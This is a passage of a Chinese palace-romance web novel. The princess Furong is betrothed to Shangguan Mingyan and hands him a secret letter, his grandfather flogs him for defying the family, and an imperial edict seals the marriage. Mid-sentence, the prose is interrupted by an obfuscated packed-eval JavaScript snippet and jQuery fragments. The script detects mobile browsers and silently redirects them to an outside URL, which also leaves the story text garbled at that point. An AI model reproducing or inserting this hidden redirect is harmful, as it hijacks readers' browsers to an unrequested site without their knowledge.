上官明砚立即叩首谢恩。
“都什么时候了,您还想着把我嫁了。”芙蓉不满道,“我根本就不想嫁人。”
她不需要别人的庇佑。
“咳咳……”赵栩语重心长道:“眼下朕最担心的就是你。朕百年之后,无论是谁坐上那个位置,只要上官家在一日,他们便不会对你怎么样。”
“上官家必定善待公主。”上官明砚再次承诺道,“请陛下放心。”
芙蓉愁眉苦脸道:“就不能让我自己想一想吗……”
“就当是为了朕去嫁吧,朕现在唯一的心愿就是看着你出嫁。”赵栩强颜欢笑道,“朕亏欠你许多,这桩婚事算是弥补,也是为朕冲喜。”
闻言,芙蓉只好点头顺从。
上官明砚忙道:“臣这就回府将喜讯告知家人,即刻筹备婚仪,绝不会因为匆忙而怠慢公主。”
“此事不急。”赵栩却道,“婚期定在开春之后吧,朕还想她留在宫中,陪朕过最后一个年。”
“是。”
芙蓉此刻宛如任人摆布的棋子,无法挣扎。
二人一同伺候赵栩喝药睡下,方才从勤政殿出来。
“如今,我虽入宫不便,公主若是有事,便派人去前去府中找我。”上官明砚同她说,“我一定竭尽全力去帮你。”
芙蓉没有拒绝。
她扫了一眼四周,伸出手抱上他,憔悴地脸贴在他心口之前。
他的心跳得很快,噗通噗通。
突如其来的拥抱,上官明砚心头猛颤,缓缓抚她的背,细细嗅着她身上的气味。
半响,芙蓉慢慢松开他,泛红的手指从他胸膛前划过,自然而然地抚上他手,将一个东西递塞过去。
手心的异物咯了一下他的手。
上官明砚飞快反应过来,她是有东西要交给自己。
宫里到处都是祖父的眼线,只剩下这个方法不会引起那些人的主意。
芙蓉含情脉脉地望着他:“现在只有你能帮我把消息带出去了。”
任何人,任何事都无法改变她的心。
上官明砚抽出自己手,把她两只柔嫩的手包裹住,顺势将东西取过来。
“好。”
随后,芙蓉主动挽留:“你今夜能留在宫里陪我吗?”
“这……不太好吧。”上官明砚下意识拒绝,“外男不能留宿宫中。”
芙蓉发起温柔攻势:“怕什么,我们都要成亲的。再说了,妃嫔都已经被我赶去拢翠庵,哪来的闲言碎语。”
“贵妃娘娘不是还在宫里……”他如实道。
“你忘了吗?宫里我说了算。”芙蓉柔声道,“天寒地冻,贵妃最不喜欢出门了。”
为了达到目的,她不择手段。
上官明砚想了想,还是觉得不妥:“你不用这样,我答应了帮你,就一定会做到。”
芙蓉挣脱开他的手,抚上他冰冷的脸颊:“可是我的信是写给别的男人,你也不吃醋吗?”
“大局当前,自以要事为先,无关紧要的琐碎之事,不毕放在心上。”
借着袖子的遮掩,他把书信收好,将她手去拿下来。
芙蓉还是不放心:“真的?”
上官明砚豁达地“嗯”了一声:“外面冷,赶紧先回去,别冻着身子。”
“当真不留下陪我?”她重复问道。
他反问:“事态紧急,我得赶紧把消息传出去,不是吗?”
“好吧。”
芙蓉收回手,神情厌厌地回到殿中批阅奏折。
狂风呼啸,大雪纷飞。
上官明砚看着她回到殿中,方在转身离开。
夜半,廊下的灯笼吱呀吱呀响。
芙蓉整理好奏折,伸了一个大懒腰,扶在御案上眯一会。
不多时,有人推门进来,冷风随之潜入殿中。
她不禁打了个冷颤。
没有睁眼,继续睡着。
噗噗——
伴随着轻微的响声,身上一沉,顷刻间她便被热气包裹。
芙蓉猛地睁开眼来,身上多了件披风,揉了揉眼睛,看清来人的相貌。
“你怎么没走?”
上官明砚解释道:“我放心不下,所以便折返回来。”
芙蓉撑着额头,重重喘息:“天快亮了,赶紧回去吧。”
心里烦闷得紧,不想见任何人。
年关将至,琐事颇多,再加上赵栩病情加重,一切变幻莫测,压得她喘不上气来。
“好。”上官明砚温声道,“我让丽娘准备了些吃的,你记得吃。”
“嗯。”
芙蓉看都不看一眼他拿的吃食,垂首沉思。
上官明砚交代完,识趣地出宫。
回到府中,天刚蒙蒙亮。
左相担心他搅了自己的好事,命人看着他。
昨日他谎称肚子疼,叫父亲将看守支开,偷偷从侧门溜出府入宫。
回府自然也原路返回。
没有多想,上官明砚径直推门而入。
一抬眸,映入眼帘的是左相的背影以及一众等候多时的家丁。
与其想方设法瞒着,不如来个痛快。
左相徐徐转身,阴沉着脸:“彻夜未回,去哪了?”
上官明砚干脆道:“入宫探望……”
还未说是谁,左相便打断他的话:“是探望陛下呢,还是私会公主?”
“与她无关。”
啪——
左相恼凶成怒,抬手扇了他一巴掌,青白的脸上瞬间多浮现几道条红印,耳根嗡嗡作响。
“她到底给你灌了什么迷糊汤,以至于你要背叛整个上官家去帮她?”
左相气得咬牙切齿。
他不紧不慢道:“我只是想为自己活一次。”
她尚且可以打破传统,据理力争谋求帝位,自己又为何不能。
“好好,你很有骨气,是吧?”左相愤道,“来人,扒去他衣裳,搜身,然后家法处置。”
上官明砚没有反抗。
大雪初歇,寒风凛冽。
他一袭单衣,豪不畏惧地跪在雪地中。
整日饮酒作乐的父亲看着亲生儿子这副样子,心疼得不行,当即同夫人跪下来求左相饶恕他。
左相冷冷道:“只要他肯开口认错,我便既往不咎。”
其父其母赶紧去劝她。
“明砚,快去给祖父认错,再跪会死人的。”其父劝道。
其母啜泣连连。
“父亲母亲请回吧,儿子没错,无需认错。”
一席话再次点燃了左相的怒火,拿着鞭子气冲冲来到他面前。
“为了一个处处与我作对的女人,你竟学会了忤逆长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258884|172380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辈。”
他高高地扬起了皮鞭,狠狠地抽了下去,鞭声清脆。
“不要打了,都是我的错。”
其母心疼至极,将他拦在自己身下护着。
“将此妇给我带下去,不许她再见小公子。”左相一把拉开她,指责道,“好好的一个人,都被你们给惯坏了,今日就让我替你们好好管教管教。”
又一鞭挥下,洁白的单衣沾在脊背上,渗出鲜红的血渍。
“母亲……”上官明砚喘道,“祖父有气尽管罚我便是,不要为难母亲。”
“柔忧寡断,不成气候!”
鞭声一声接一声。
父亲不成器,他自有记忆起便祖父带在身边,严加教养。
每年只有节日时能与母亲见一面,每次半日,不算太多。
他从不敢奢望什么,唯愿他们一切安好,试试顺心。
至于这份百年基业,自有人比他更合适。
“呃……”
上官明砚咬紧牙关发出一身闷响。
嘴唇已经被咬破,鲜血顺着嘴角流了下来,后背皮开肉绽,染红了单薄的衣裳。
他宁死不屈。
就在这时,官家跑进来传话。
“宫里的李总管来了。”
“他来掺和什么……”
话音刚落,众人便见李总管拿着圣旨神气地走进来。
看到圣旨,众人赶忙跪下来。
左相意犹未尽,直直站着。
“左相,听宣吧。”李总管含笑提醒。
左相不情不愿地抛掉手中的鞭子,缓缓跪下。
“奉天承运皇帝,诏曰:朕之爱女嘉福,性婉仪淑,自幼深得朕心。
今已及婚嫁之龄,朕日夜忧心,惟愿觅一良配,托其终身。
兹有翰林院上官明砚,才德兼备,风度卓然,且对公主倾慕有加,二人情投意合,堪为佳配。
朕心甚慰,特将嘉福许配于上官明砚,于二月初六完婚。钦此!”
宣读结束,迟迟无人叩首谢恩。
“这可是喜事。”李总管笑道,“快接旨吧。”
赐婚圣旨来得突然,打得他措手不及。
上官强忍着疼痛,颤抖着伸出手来接旨:“叩谢吾皇,吾皇万岁万岁万万岁。”
李总管“哎呀”一声,亲自搀扶他起身:“以后可是驸马了,可得小心着身子。”
左相跪在地上出了神。
众所周知,做了驸马便不能再入仕,他苦心积虑多年,辛辛苦苦培养的接班人,就这么没了。
被选中做驸马对别人来说兴许是天大的好事,对他来说如遭雷击。
上官家终究还是没能守住。
管家去搀扶左相起身。
其父乐呵呵道:“做驸马好,除了公主,没人再敢欺负你了。”
其母则心疼地看着儿子。
想来做驸马,便是好不容易逃出贼窝,转头又进柴狼窝。
不是什么好事。
上官明砚咳了一声:“还请李总管不要将今日之事告知公主,我许诺她的事情,一定会亲自去办。”
“好,驸马保重身子,福气可都在后头等着呢。。”
李总管笑着离开上官府,回宫复命。
顷刻间,此事就传遍大街小巷。
芙蓉却怎么都高兴不起来。